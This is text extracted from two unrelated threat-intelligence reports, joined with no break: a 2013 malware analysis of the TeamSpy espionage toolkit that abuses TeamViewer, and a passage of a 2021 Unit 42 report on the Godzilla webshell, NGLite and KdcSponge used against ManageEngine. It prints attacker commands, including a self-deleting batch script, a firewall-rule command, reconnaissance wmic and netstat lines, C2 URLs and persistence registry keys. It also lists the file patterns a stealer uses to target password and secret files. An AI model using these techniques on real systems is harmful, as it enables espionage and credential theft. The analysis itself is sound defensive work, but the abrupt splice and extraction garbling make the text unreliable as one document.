It intercepts calls to the following system API functions: advapi32.dll: RegCreateKeyExW advapi32.dll: RegQueryValueExW kernel32.dll: CreateProcessW kernel32.dll: CreateMutexA kernel32.dll: CreateFileW kernel32.dll: CreateDirectoryW kernel32.dll: DeleteFileW shell32.dll: ShellExecuteExW user32.dll: SendMessageW user32.dll: CreateDialogParamW user32.dll: GetClassInfoExW user32.dll: RegisterClassExW user32.dll: CreateWindowExW user32.dll: IsWindowVisible user32.dll: GetDlgItem The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 user32.dll: ShowWindow user32.dll: SetWindowTextW user32.dll: MessageBoxW wintrust.dll: WinVerifyTrust One of the functions, SetWindowTextW, is quite interesting and contains extra code to work with C2.
This functions when it is executed the first time has a trigger to start a couple of new threads that communicate with C2 server to ping it and get commands via HTTP GET request using parameters specified in tv.cfg: http://server/tv/getinfo.php?id...pwd...stat1 The server is expected to answer with one of the command from the list below: Next, it creates a Windows Firewall rule to allow outgoing connections for the current process, by running: netsh firewall set allowedprogram Path to the TeamViewer executable tv After that the module creates several threads, described below and proceeds to the second stage.
In the second stage the module loads kl.dll library from the current directory and imports two functions: Init and Rdp.
After that it calls Init function, waits 32 milliseconds allowing kl.dll to initialize and calls Rdp function from the same library.
The result of that call is submitted to the C2 via HTTP Post with Content-Type: application/x-www-form-urlencoded header value.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 In parallel a new thread is created, which waits for a signal to search .bin files in the module directory, encrypt with szlogkey value from tv.cfg using RC4 algorithm and upload to the FTP server specified in the tv.cfg.
After uploading the files are deleted from the filesystem using simple DeleteFileA API call.
Thread 1 (bot updater): Locates current process main executable and checks file version and file attributes.
If the file version, stored in the file version info section is not equal to 6.0.10722.0 the process terminates.
If the attributes do not contain Hidden, System, then the attributes are set (Hidden and System) for the file and the process is restarted.
After that it will connect to the Command and Control (C2) server and fetch updated modules by the following URLs: http://server name/filename, where server name is a value from tv.cfg file (newslite.org).
filename is one of the values from the ebedded encrypted string list: TeamViewer_Desktop.exe tv_w32.exe tv_x64.exe TeamViewer_Resource_ru.dll tv_w32.dll tv_x64.dll Thread 2 (self-removal): This thread creates a subthread which waits for a special event.
If other thread fires the event, the current thread goes through a list of embedded filenames, which includes kl.dll, avicap32.dll, tv.cfg and changes file attributes to Hidden and System (which removes ReadOnly if set).
After that, the module deletes the following registry keys: (HKLM or HKCU)\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost HKCU\Software\TeamViewer\Version6\MachineFallback HKCU\Software\TeamViewer\Version6 HKCU\Software\TeamViewer After that the thread creates and executes a batch file named 1.bat with the following contents: echo offchcp 1251nul :try timeout /t 5 attrib -h -s -a -r Current Executable The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 del Current Executable if exist Current Executable goto try attrib -h -s -a -r tv.cfg Full Path del tv.cfg Full Path if exist tv.cfg Full Path goto try attrib -h -s -a -r TeamViewer_Desktop.exe Full Path del TeamViewer_Desktop.exe Full Path if exist TeamViewer_Desktop.exe Full Path goto try attrib -h -s -a -r tv_w32.exe Full Path del tv_w32.exe Full Path if exist tv_w32.exe Full Path goto try attrib -h -s -a -r tv_x64.exe Full Path del tv_x64.exe Full Path if exist tv_x64.exe Full Path goto try attrib -h -s -a -r tv_w32.dll Full Path del tv_w32.dll Full Path if exist tv_w32.dll Full Path goto try attrib -h -s -a -r tv_x64.dll Full Path del tv_x64.dll Full Path if exist tv_x64.dll Full Path goto try attrib -h -s -a -r kl.dll Full Path del kl.dll Full Path if exist kl.dll Full Path goto try The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 attrib -h -s -a -r 1.bat Full Path del 1.bat Full Path if exist 1.bat Full Path goto try Thread 3 (watchdog): This thread simply monitors creation of dangerous processes, such as taskmg.exe or procexp.exe.
If it finds any of these processes running, it immediately terminates three processes (which ids are stored in current module memory) and current process.
This is done in a never-ending loop with high priority  sleep time between check iterations is 1 millisecond.
The algorithm designed to have different process termination procedures for Windows NT 5.x and Windows NT 6.x, however currently it simply calls ExitProcess API function.
Thread 4 (temp-cleaner): This thread searches for tvicap32.dll and tl.dll files in the directory of current executable.
It unloads tl.dll, if it is loaded and then attempts to delete both files in a loop with delay of 1 second until it succeeds.
GetIOSData tool Known variants: MD5 Compilation date Linker version 83a1634f660d22b990b0a82b1185de5b 1992.06.19 22:22:17 (GMT) 2.25 The file is a PE EXE file created in Borland Delphi.
This file is a tool to collect all local .plist files from users Application Data directory.
Plist or property list files are files that store serialized objects on Apple operating systems.
These files may appear in Apple iTunes folders and may contain information about devices connected to the current system in the past.
Main This simple module gets searches for .plist files in current user APPDATA directory.
All discovered files are immediately copied to a directory with hardcoded path SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm, where SYSTEMDRIVE is the system disk drive.
If the directory SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm doesnt exist, the copying process silently fails.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Bi tool Known variants: MD5 Compilation date Linker version cd56d04639dd395a035bc2a2e11f5d3d 2012.10.25 06:03:21 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
It is a tool designed to collect information about the operating system and BIOS via WMI.
Main The module concatenates a string to run a command with cmd.exe: cmd.exe /c wmic os get /format:HFORM  SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll155.html wmic bios list /format:HFORM  SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll155.html Execution of the commands above concatenates two HTML reports which contain two tables with information about running OS and computers BIOS.
The attackers retrieve the following properties: Operation System properties: BootDevice BuildNumber BuildType Caption CodeSet CountryCode CreationClassName CSCreationClassName CSDVersion CSName CurrentTimeZone DataExecutionPrevention_32BitApplications DataExecutionPrevention_Available DataExecutionPrevention_Drivers DataExecutionPrevention_SupportPolicy Debug Description Distributed EncryptionLevel ForegroundApplicationBoost FreePhysicalMemory FreeSpaceInPagingFiles FreeVirtualMemory InstallDate The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 LargeSystemCache LastBootUpTime LocalDateTime Locale Manufacturer MaxNumberOfProcesses MaxProcessMemorySize Name NumberOfLicensedUsers NumberOfProcesses NumberOfUsers Organization OSLanguage OSProductSuite OSType OtherTypeDescription PlusProductID PlusVersionNumber Primary ProductType QuantumLength QuantumType RegisteredUser SerialNumber ServicePackMajorVersion ServicePackMinorVersion SizeStoredInPagingFiles Status SuiteMask SystemDevice SystemDirectory SystemDrive TotalSwapSpaceSize TotalVirtualMemorySize TotalVisibleMemorySize Version WindowsDirectory BIOS properties: BiosCharacteristics BuildNumber CodeSet CurrentLanguage Description IdentificationCode InstallableLanguages The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 InstallDate LanguageEdition ListOfLanguages Manufacturer Name OtherTargetOS PrimaryBIOS ReleaseDate SerialNumber SMBIOSBIOSVersion SMBIOSMajorVersion SMBIOSMinorVersion SMBIOSPresent SoftwareElementID SoftwareElementState Status TargetOperatingSystem Version After getting this information the module self-deletes by calling cmd.exe /c del ModulePath.
FileList2 tool Known variants: MD5 Compilation date Linker version 6b3a74728f8683c0fa14a2675e5364c6 2012.07.18 11:23:41 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
This file is a tool to collect files basing on filename patterns.
The tool has internal code in the log file: 01.01.01 Main The main procedures starts from generating output file path and creating the corresponding file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt After that the code iterates through all available logical drives and searches for the files matching the following patterns: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 .pst  - MS Outlook database files .mdb - MS Access databases .doc  MS Word documents .rtf  RTF documents pass.
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various password files used by different applications .pgp  PGP encrypted files .pdf  PDF documents .xls  MS Excel spreadsheets - files which contain part of Russian word  meaning password - files which contain Russian word  meaning secret saidumlo - files which contain part of a Georgian transliterated word () meaning secret .vmdk  files of VMware virtual machine disk files .tc  files encrypted with TrueCrypt encryption software .p12  public key cryptography certificates Information about discovered files will be saved in a temporary file created in TEMP folder and after the search is finished it will be copied to the following file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt.
The temporary file name is created using GetTempFileNameA system API, which creates a temp file name of the following format: uuuu.
TMP (where uuuu is a hexademical number picked by the system).
When copying the log file the module prepends a special header, so that collected file information looks as following: [/N2.0-01.01.01.00:data_length] File1 full path File1 size File1 last modification time File2 full path File2 size File2 last modification time File3 full path File3 size File3 last modification time  The header probably contains internal shortened module name and version (N2.0) with some hardcoded build id (01.01.01.00), followed by the numerical value of data length that starts after the ] character.
After copying the temporary log file is deleted with call to DeleteFileA.
Footer tool The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Known variants: MD5 Compilation date Linker version 4475a43a10300b8137f364d21d402b94 2013.03.12 05:15:48 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 101376 bytes.
Its main purpose it to dump contents of accessible network shares.
No remote file copying is done.
This tool simply collects information about the files such as file size and file last modification time.
This tool is very similar to the FileList2 tool with few difference: It doesnt create a header in the log file and it has no internal tool ID.
It also uses different application icons and resource section language is LANG_RUSSIAN, SUBLANG_DEFAULT.
It also makes series of Sleep API additional calls probably to break signature based detections of some AV products.
Main The main procedures starts from generating output file path and creating the corresponding file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt The code makes a sequence of useless Sleep  API calls, probably to break detection of some signature-based AV engines: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 After that the code iterates through all available logical drives and searches for the files matching the following patterns: .pst  - MS Outlook database files .mdb - MS Access databases .doc  MS Word documents .rtf  RTF documents pass.
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various password files used by different applications .pgp  PGP encrypted files .pdf  PDF documents .xls  MS Excel spreadsheets - files which contain part of Russian word  meaning password - files which contain Russian word  meaning secret saidumlo - files which contain part of a Georgian transliterated word () meaning secret .vmdk  files of VMware virtual machine disk files .tc  files encrypted with TrueCrypt encryption software .p12  public key cryptography certificates Information about discovered files will be saved in a temporary file created in TEMP folder and after the search is finished it will be moved to the following file: SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\sysdll2.txt.
The file has resource section which has 3 resources, 2 of them have resource language set to LANG_RUSSIAN, SUBLANG_DEFAULT.
Resource section contain icons of the application (48x48, 64x64, 128x128): The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Keylogger tool Known variants: MD5 Compilation date Linker version b3258020b9ab53a1635da844aed955ea 2013.01.28 11:14:47 (GMT) 10.0 The file is a PE EXE file compiled with Microsoft Visual C 2010.
It has tiny size of 12288 bytes.
Its main purpose it to log keystrokes, copy text from clipboard and record foreground windows along with date/time and process names owning them.
This tool aggregates information in local folder and doesnt upload it anywhere.
It has no network functions.
Main The main procedure starts from preparation to install current application in the system.
It creates a directory APPDATA\WCF Data Services and prepares several strings containing work paths: On Windows XP English with system drive C: the paths will be the following: LnkPath  C:\Documents and Settings\username\Start Menu\Programs\Startup\WcfAudit.lnk LogPath  C:\ProgramData\Adobe\AdobeArm\ ExePath  C:\Documents and Settings\username\Application Data\WCF Data Services\WcfAudit.exe XmlPath  C:\Documents and Settings\username\Application Data\WCF Data Services\preferences.xml Next it checks existence of system event object named __klgskot__.
If that event is found, the application exits to prevent multiple instances of the application from running.
If event doesnt exist it is created immediately.
Next it checks if current executable is called WcfAudit.exe.
If not it creates a shortcut file in the file referred above as LnkPath.
Current executable is copied to the path referred above as ExePath.
After that the process is restarted from ExePath.
If installation to the system is completed, the application starts three threads: Thread 1 (Selfremover) This thread creates a system event object called __klgkillsoft__ and waits for this event to be activated.
When something activates this event the thread removes the LNK file from Startup folder and renames current executable from WcfAudit.exe to file with a decimal number in the name and no extension.
The decimal number represents system tick counter value.
Thread2 (Keylogger) This thread sets low level Windows keyboard hook, which allows the module to intercept keystrokes.
The thread records all keystrokes, foreground window names and textual clipboard data.
Accumulated data is available for the Thread3 which expects it in special buffer.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Thread3 (Logger) This thread is started 30 seconds after Thread2.
It checks if XmlPath file referred above exists.
If it exists it is moved to LogPath directory, the name is changed to klgNumber.klg, where Number is a decimal integer taken from current system tick counter value.
Then this file is opened and appended with new data received from Keylogger thread.
Please note, that at least empty file at XmlPath must be created, the keylogger starts saving collected data only if it finds file at XmlPath.
If the LogPath directory doesnt exist, it will be created.
If the klgNumber.klg file becomes larger than 1Mb, new file at XmlPath is created and moved back to LogPath directory with new name klgNumber.klg (current tick counter value is used).
In the end LogPath directory is full of klgNumber.klg files, however there is a bug in this logics.
If the system is rebooted it will not contains XmlPath will not exist and that means that keylogger will not be active.
However it can still be activated any time by creating the XmlPath file.
The logs are stored in plaintext.
Below is a fragment of sample log from the keylogger module: C:\Documents and Settings\User\My Documents\My Music [18:47 - 13/03/2013 explorer.exe] [BACK][BACK][DOWN][RIGHT][LEFT][RIGHT][ENTER] [DOWN][DOWN][UP][UP][ENTER] Control Panel  [18:48 - 13/03/2013 explorer.exe] [LEFT][LCTRL] [LEFT][LSHIFT][RIGHT][LSHIFT]C:\[ENTER] NetScanFiles2 tool Known variants: MD5 Compilation date Linker version f445d90fdd7ab950adabc79451e57e2a 2012.07.19 12:12:29 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 36864 bytes.
Its main purpose it to dump contents of locally attached disk drives.
No file copying is done.
This tool simply collects information about the files such as file size and file last modification time.
This tool has internal code or build id in the log file: 02.02.01 Main The main procedure starts from creating temporary file and prepare path for final output log, which is stored in SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt.
After that a new thread is created which enumerates network accessible resources, including shared directories and network printers and lists available files which names match any of hardcoded patterns.
The log string has the following format (listing data): Filepath FileSize Date of modification Time of modification The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The resulting log file is prepended with special header: [/N2.0-02.02.01.00:size of data]listing data Stolen patterns highlighted in red List of filename patterns, which are used by the tool: .doc  MS Word documents .rtf  RTF documents pass.
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various password files used by different applications .pgp  PGP encrypted files .xls  MS Excel spreadsheets - files which contain part of Russian word  meaning password - files which contain Russian word  meaning secret secret.
saidumlo - files which contain part of a Georgian transliterated word meaning secret The file has resource section which has 3 resources, 2 of them have resource language set to LANG_ENGLISH, SUBLANG_ENGLISH_US.
One of the resources contains the mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 NetScanShares2 tool Known variants: MD5 Compilation date Linker version 696f408af42071fbf1c60e6e50b60e09 2012.07.19 11:13:45 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 36352 bytes.
Its main purpose it to list all new network servers and available network shares.
No file copying is done.
The tool is identical to NetScanFiles2, but instead of getting full information about files, it works only with servers and shares.
This tool has internal code or build id in the log file: 02.01.01 Main The main procedure starts from creating temporary file and prepare path for final output log, which is stored in SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt.
After that a new thread is created which enumerates network accessible resources and outputs it to the temp file.
The log string has the following format: Server:Server name Share:Share name Domain:Domain name The resulting log file is prepended with special header: [/N2.0-02.01.01.00:size of data]collected data The file has resource section which has 3 resources, 2 of them have resource language set to LANG_ENGLISH, SUBLANG_ENGLISH_US.
One of the resources contains the mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 SC_and_Console tool Known variants: MD5 Compilation date Linker version 5f7a067f280ac0312abfbd9ee35cb522 2011.11.11 07:56:15 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 755193 bytes.
Its main purpose is to drop and run a legitimate tool known as CmdCapture, which makes a screenshot and stores it in sysdll5.jpg file.
Main The main procedure starts from extracting data embedded in the file of current application.
The code prepares some working strings: CmdCapture  C:\ProgramDara\CmdCapture\CmdCapture.exe LogFile  C:\ProgramData\Adobe\AdobeArm\sysdll555.txt LogDir  C:\ProgramData\Adobe\AdobeArm\ It checks magic number stored in the last 4 bytes of the file.
It must be 0xFFFFAAAA.
If the magic is found, it reads preceding 4 bytes.
This DWORD value (PayloadLen) indicates the size of the embedded data.
Then it copies PayloadLen bytes and to the CmdCapture file and executes the following command: cmd.exe /c C:\ProgramDara\CmdCapture\CmdCapture.exe /d C:\ProgramData\Adobe\AdobeArm\ /f sysdll5.jpg C:\ProgramData\Adobe\AdobeArm\sysdll555.txt After that it attempts to self-delete.
The dropped CmdCaptures.exe has the following features: MD5 Compilation date Linker version The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 72ec4047db89a70e5be7370a19bcd600 2010.04.16 07:47:33 (GMT) 9.0 This is a standalone EXE file which is a benign AutoIt script tool to make a screenshot from the command line.
This tool is publicly available for download, i.e.
at the following URL: http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Capture/CmdCapture.shtml This tool has even a help prompt, which can be called with /h commandline argument.
Below is a part of it: CmdCapture 2.0 Usage: [/d directory] [/f filename] [/h] /d   Select folder to output captured image files.
If you didnt specify file name with full path, or you left file name parameter blank, a file with default name will be put into the folder specified in this area.
/f   Followed by the filename youd like to use.
CmdCapture uses the file extension to determine the output file type.
The extension should be one of the following values: png: Save a PNG file.
jpg: Save a JPEG file.
bmp: Save a Windows bitmap file.
tif: Save a TIFF file.
gif: Save a GIF file.
The default file type is PNG.
SystemInfo tool Known variants: MD5 Compilation date Linker version 5c7bf0bb019b6c2dcd7de61f89a2de2e 2012.07.19 13:37:03 (GMT) 8.0 http://www.softpedia.com/get/Multimedia/Graphic/Graphic-Capture/CmdCapture.shtml The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The file is a PE EXE file created in Microsoft Visual C 2005.
Its size is 32768 bytes.
Its main purpose is to collect general system information, including what software is installed, what services and processes are running on the system, information about available local storage and its free space, user accounts and BIOS information.
This tool has internal code in the log file: 02.03.01 Main The main procedure starts from creating a temp file (TmpLog) and preparing a path for the final report: SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt (FinalLog).
It runs series of commands and collects output: route print  collect network routing information netstat r    collect network routing information netstat b  display established network connections with executables owning it netstat a  display all connections and listening ports systeminfo  display general system information (OS,CPU,owner,domain,uptime,BIOS, etc) wmic computersystem get  /format:list  display general system information (similar to previous call) wmic os get  /format:list  detailed OS information including serial number wmic logicaldisk get  /format:list  available system drives and their state wmic product get  /format:list  installed applications wmic service get  /format:list  system services and their state wmic process get  /format:list  running processes and their details wmic useraccount get  /format:list  available local accounts and their full details wmic qfe get  /format:list  installed Windows Updates list.
After that the output of all commands is aggregated in a single file FinalLog.
Every command output is prepended with a header in the following format: CommandName The final log file has also got a general header in a format shown below: [/N2.0-02.03.01.00:SizeOfData]Data One of the resources has mysterious icon of the application: The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 SystemInfoSafe tool Known variants: MD5 Compilation date Linker version 341b430d96a06d9489fc49206a5b1cdd 2012.07.20 11:04:20 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 42496 bytes.
Its main purpose is to get information about local system in a safe way, which shouldnt trigger any security software, such as antivirus.
It is designed to collect information mostly about locally installed software.
Main The main procedure starts from creating a temp file to store preliminary tool report.
After that it lists all files in Program Files folder which are newer than hardcoded date: 22 November 1963.
It collects environment variables from the following list: PROGRAMDATA COMPUTERNAME OS PROCESSOR_ARCHITECTURE PROCESSOR_IDENTIFIER PROCESSOR_LEVEL NUMBER_OF_PROCESSORS USERDOMAIN USERNAME TIME PATH The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 After that the tool collects list of running processes, which includes executable name and process ID.
Collected data is then prepended with a header and moved to the following file: SYSTEMDRIVE:\ProgramData\Adobe\AdobeArm\sysdll2.txt One of the resources has mysterious icon of the application: NetRes tool Known variants: MD5 Compilation date Linker version 7eb64a586213326a75be05f92564af38 2013.03.14 06:54:47 (GMT) 10.0 The file is a PE EXE file created in Microsoft Visual C 2010.
Its size is 34816 bytes.
Its main purpose is to get information about local network configuration, including IP addresses, DNS servers and possibly domain name.
Main The main procedure is very simple and includes creating a command line for cmd.exe: cmd.exe /c ipconfig /all  SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\netres.txt  arp -a SYSTEMDRIVE\ProgramData\Adobe\AdobeArm\netres.txt This commands will collect information about local network IP address and subnet of current computer, as well as DNS servers, domain name anfooter.jpg.idbd dump ARP table, which contains temporary records of IP and MAC addresses of local network computers.
The module attempts to self-delete after execution by calling cmd.exe /c del ModulePath command.
The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 Older Keylogging tool Known variants: MD5 Compilation date Linker version c220a5ae869a1e3e9f5e997f8bf57e82 2010.07.26 10:08:26 (GMT) 10.0 The TeamSpy Story - Abusing TeamViewer in Cyberespionage Campaigns    20 March 2013 The file is a PE EXE file created in Microsoft Visual C 2010 and packed with a Visual Basic wrapper.
Its size is 40.0 KB (40,960 bytes).
It is a dropper designed to copy, install itself, and maintain communcations with its C2, maintain persistence, download further executable code, and enumerate windows looking for a browser to open and then log window contents.
Main Oddly, the module concatenates a couple of strings to run commands with cmd.exe and copy itself with several names, to several locations, with its final location residing in the All Users\Application Data directory and a run key for itself added.
First, it concats the string and copies itself to C:\Documents and Settings\All Users\Application Data\a-t_name.exe.
Then, it uses script commands to apply hidden attributes and further copy itself: cmd.exe /c cd C:\Documents and Settings\All Users\Application Data  attrib -H /s a-t_name.exe  rename a- t_name.exe ie.exe cmd.exe /c cd C:\Documents and Settings\All Users\Application Data  rename ie.exe iexplore.exe This process immediately communicates with its hardcoded C2 at hxxp://www.politnews.org/dd_4.php and hxxp://www.bannetwork.org/dd_4.php, registering a unique identifier with its C2.
It enumerates through process windows, looking for Internet Explorer processes and subclasses the window to steal all web browsing content and write it to c:\documents and settings\All Users\Application Data\sys32dll.txt, encrypting the data and sending stolen data back to the C2.
1/11 November 8, 2021 Godzilla Webshell unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge By Robert Falcone, Jeff White and Peter Renals November 7, 2021 at 6:00 PM Category: Unit 42 Tags: APT, backdoor, Credential Harvesting, credential stealer, KdcSponge, ManageEngine, NGLite, TiltedTemple, Trojan, Zoho ManageEngine This post is also available in:  (Japanese) Executive Summary On Sept. 16, 2021, the US Cybersecurity and Infrastructure Security Agency (CISA) released an alert warning that advanced persistent threat (APT) actors were actively exploiting newly identified vulnerabilities in a self-service password management and single sign-on solution known as ManageEngine ADSelfService Plus.
The alert explained that malicious actors were observed deploying a specific webshell and other techniques to maintain persistence in victim environments however, in the days that followed, we observed a second unrelated campaign carry out successful attacks against the same vulnerability.
As early as Sept. 17 the actor leveraged leased infrastructure in the United States to scan hundreds of vulnerable organizations across the internet.
Subsequently, exploitation attempts began on Sept. 22 and likely continued into early October.
During that window, the actor successfully compromised at least nine global entities across the technology, defense, healthcare, energy and education industries.
Following initial exploitation, a payload was uploaded to the victim network which installed a Godzilla webshell.
This activity was consistent across all victims however, we also observed a smaller subset of compromised organizations who subsequently received a modified version of a new backdoor called NGLite.
The threat actors then used either the webshell or the NGLite payload to run commands and move laterally to other systems on the network, while they exfiltrated files of interest simply by downloading them from the web server.
Once the actors pivoted to a domain controller, they installed a new credential-stealing tool that we track as KdcSponge.
Both Godzilla and NGLite were developed with Chinese instructions and are publicly available for download on GitHub.
We believe threat actors deployed these tools in combination as a form of redundancy to maintain access to high-interest networks.
Godzilla is a functionality- rich webshell that parses inbound HTTP POST requests, decrypts the data with a secret key, executes decrypted content to carry out additional functionality and returns the result via a HTTP response.
This allows attackers to keep code likely to be flagged as malicious off the target system until they are ready to dynamically execute it.
NGLite is characterized by its author as an anonymous cross-platform remote control program based on blockchain technology.
It leverages New Kind of Network (NKN) infrastructure for its command and control (C2) communications, which theoretically results in anonymity for its users.
Its important to note that NKN is a legitimate networking service that uses blockchain technology to support a decentralized network of peers.
The use of NKN as a C2 channel is very uncommon.
We have seen only 13 samples communicating with NKN altogether  nine NGLite samples and four related to a legitimate open-source utility called Surge that uses NKN for file sharing.
Finally, KdcSponge is a novel credential-stealing tool that is deployed against domain controllers to steal credentials.
KdcSponge injects itself into the Local Security Authority Subsystem Service (LSASS) process and will hook specific functions to gather usernames and passwords from accounts attempting to authenticate to the domain via Kerberos.
The malicious code writes stolen credentials to a file but is reliant on other capabilities for exfiltration.
Palo Alto Networks customers are protected against this campaign through the following: Cortex XDR local analysis blocks the NGLite backdoor.
All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire.
Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central or ManageEngine ServiceDeskPlus Servers across customer networks.
Initial Access Beginning on Sept. 17 and continuing through early October, we observed scanning against ManageEngine ADSelfService Plus servers.
Through global telemetry, we believe that the actor targeted at least 370 Zoho ManageEngine servers in the United States alone.
Given the scale, we assess that these scans were largely indiscriminate in nature as targets ranged from education to Department of Defense entities.
https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/ https://unit42.paloaltonetworks.com/author/robertfalcone/ https://unit42.paloaltonetworks.com/author/jeff-white/ https://unit42.paloaltonetworks.com/author/peter-renals/ https://unit42.paloaltonetworks.com/category/unit-42/ https://unit42.paloaltonetworks.com/tag/apt/ https://unit42.paloaltonetworks.com/tag/backdoor/ https://unit42.paloaltonetworks.com/tag/credential-harvesting/ https://unit42.paloaltonetworks.com/tag/credential-stealer/ https://unit42.paloaltonetworks.com/tag/kdcsponge/ https://unit42.paloaltonetworks.com/tag/manageengine/ https://unit42.paloaltonetworks.com/tag/nglite/ https://unit42.paloaltonetworks.com/tag/tiltedtemple/ https://unit42.paloaltonetworks.com/tag/trojan/ https://unit42.paloaltonetworks.com/tag/zoho-manageengine/ https://unit42.paloaltonetworks.jp/manageengine-godzilla-nglite-kdcsponge/ https://us-cert.cisa.gov/ncas/alerts/aa21-259a https://github.com/BeichenDream/Godzilla/ https://github.com/Maka8ka/NGLite https://nkn.org/ https://github.com/rule110-io/surge https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/cortex/cortex-xpanse 2/11 Upon obtaining scan results, the threat actor transitioned to exploitation attempts on Sept. 22.
These attempts focused on CVE-2021-40539, which allows for REST API authentication bypass with resultant remote code execution in vulnerable devices.
To achieve this result, the actors delivered uniquely crafted POST statements to the REST API LicenseMgr.
While we lack insight into the totality of organizations that were exploited during this campaign, we believe that, globally, at least nine entities across the technology, defense, healthcare, energy and education industries were compromised.
Following successful exploitation, the actor uploaded a payload which deployed a Godzilla webshell, thereby enabling additional access to a victim network.
The following leased IP addresses in the United States were observed interacting with compromised servers: 24.64.36[.
]238 45.63.62[.
]109 45.76.173[.
]103 45.77.121[.
]232 66.42.98[.
]156 140.82.17[.
]161 149.28.93[.
]184 149.248.11[.
]205 199.188.59[.
]192 Following the deployment of the webshell, which appears consistent across all victims, we also identified the use of additional tools deployed in a subset of compromised networks.
Specifically, the actors deployed a custom variant of an open-source backdoor called NGLite and a credential-harvesting tool we track as KdcSponge.
The following sections provide detailed analysis of these tools.
Malware At the time of exploitation, two different executables were saved to the compromised server: ME_ADManager.exe and ME_ADAudit.exe.
The ME_ADManager.exe file acts as a dropper Trojan that not only saves a Godzilla webshell to the system, but also installs and runs the other executable saved to the system, specifically ME_ADAudit.exe.
The ME_ADAudit.exe executable is based on NGLite, which the threat actors use as their payload to run commands on the system.
ME_ADManager.exe Dropper After initial exploitation, the dropper is saved to the following path: c:\Users\[username]\AppData\Roaming\ADManager\ME_ADManager.exe Analysis of this file revealed that the author of this payload did not remove debug symbols when building the sample.
Thus, the following debug path exists within the sample and suggests the username pwn was used to create this payload: c:\Users\pwn\documents\visual studio 2015\Projects\payloaddll\Release\cmd.pdb Upon execution, the sample starts off by creating the following generic mutex found in many code examples freely available on the internet, which is meant to avoid running more than one instance of the dropper: cplusplus_me The dropper then attempts to write a hardcoded Godzilla webshell, which we will provide a detailed analysis of later in this report, to the following locations: ../webapps/adssp/help/admin-guide/reports.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide/reports.jsp ../webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp c:/ManageEngine/ADSelfService Plus/webapps/adssp/selfservice/assets/fonts/lato/lato-regular.jsp The dropper then creates the folder APPDATA\ADManager and copies itself to APPDATA\ADManager\ME_ADManager.exe before creating the following registry keys to persistently run after reboot: Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe : APPDATA\ADManager\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe : SYSTEM32\ME_ADAudit.exe The dropper then copies ADAudit.exe from the current directory to the following path and runs the file with WinExec: SYSTEM32\ME_ADAudit.exe The dropper does not write the ME_ADAudit.exe file to disk, meaning the threat actor must upload this file to the server prior to the execution of the dropper, likely as part of the initial exploitation of the CVE-2021-40539 vulnerability.
During our analysis of multiple incidents, we found that the ME_ADAudit.exe sample maintained a consistent SHA256 hash of 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f, therefore suggesting that the actor deployed the same customized version of the NGLite backdoor against multiple targets.
https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-40539 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2021-40539 3/11 As mentioned previously, the initial dropper contains a Java Server Page (JSP) webshell hardcoded within it.
Upon analysis of the webshell, it was determined to be the Chinese-language Godzilla webshell V3.00.
